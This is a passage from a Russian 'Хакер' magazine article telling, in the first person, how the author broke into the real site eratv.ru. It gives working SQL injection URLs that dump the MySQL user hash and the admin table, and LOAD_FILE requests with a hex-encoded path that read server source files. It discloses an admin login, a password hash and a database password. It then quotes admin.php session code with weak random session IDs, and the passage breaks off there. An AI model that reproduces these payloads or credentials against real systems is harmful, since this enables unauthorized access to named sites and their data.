Тотальный дестрой TV Longer Хакер, номер #094, стр. 094-078-5 user:root@localhost db:era version:4.0.13-nt Судя по приставке в конце версии, сервак крутился на винде. Я выудил из базы хэш пароля от MySQL пользователя root: http://eratv.ru/inner.php?page=news1&id=-999+UNION+SELECT+user,2,password,4+FROM+mysql.user+LIMIT+1/* и поставил его на брут. Но даже спустя 12 часов брут не завершился (хоть чем-то администраторы защитили свой ресурс). Тогда я снова зашел на сайт и обратил внимание на копирайты фирмы, написавшей движок - «Создание сайта 2003 iTex.ru». И я подумал: «А что если найти еще сайты, разработанные данной фирмой, вдруг какой-нибудь из них выводит запрос с названиями таблиц? Подумано - сделано! Я скомандовал гуглу «Создание сайта iTex.ru», и он мне вывел 8 страниц с различными сайтами. Я стал заходить на каждый из них по очереди. Не прошло и 5 минут, как обнаружился ресурс, который мне любезно выдал сам запрос. Посмотрев на название новостной таблицы – xxx_news, — я не понял, для чего нужен такой префикс. Я вернулся к сайту eratv.ru с полученным знанием о таблицах. Подбирая стобцы и таблицу, получил следующий запрос, выдавший нужную инфу: http://eratv.ru/inner.php?page=news1&id=-999+UNION+SELECT+password,2,login,4+from+era_admin+LIMIT+1/*. Результат был положительным (логин – chupa, MySQL хэш пароля — 5d2e994154e08a16). Я попробовал его побрутить и параллельно поискать админку. Пассворд я так и не узнал, а зона администрирования быстро нашлась (http://eratv.ru/admin.php). Через несколько минут я нашел еще одну занимательную страницу (http://eratv.ru/inner.php?page=vjs&id=), в которой при подстановке одинарной кавычки в параметр id выводилась ошибка: Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in D:\apache\htdocs\content.php on line 5679. Главным в этой ошибке был путь! Я вернулся снова к sql-inj и мой запрос был такой: http://eratv.ru/inner.php?page=news1&id=-999+union+select+1,2,LOAD_FILE('D:\apache\htdocs\inner.php'),4/*. Я ничего не получил, поэтому решил, что включена опция magic_quotes. Заботливо закодировав путь, запрос преобразовался в следующий вид: http://eratv.ru/inner.php?page=news1&id=-999+union+select+1,2,LOAD_FILE(0x443A5C6170616368655C6874646F63735C696E6E65722E706870),4/*. Наконец я увидел исходник файла! Поизучав его, мне удалось найти ссылку на файл functions.php. Просмотрев его исходник, я отыскал пароль к MySQL - gbpltwyf[eq. Пароль мне ничего не дал, поскольку ключи к MySQL и админке были разными. Но я решил посмотреть исходник админки – admin.php — и нашел строку регистрации сессии, имя у которой было auth. Подглядев еще и в код скрипта, я увидел строки: $admsession=rand(100, 1000); $admsession=md5($admsession); $res=mysql_query("update ".PREF."_admin set session=\"$admsession\""); $time=time()-259200; //... if (isset($admsession)) $res=mysql_query("select * from ".PREF."_admin where session=\"$admsession\""); |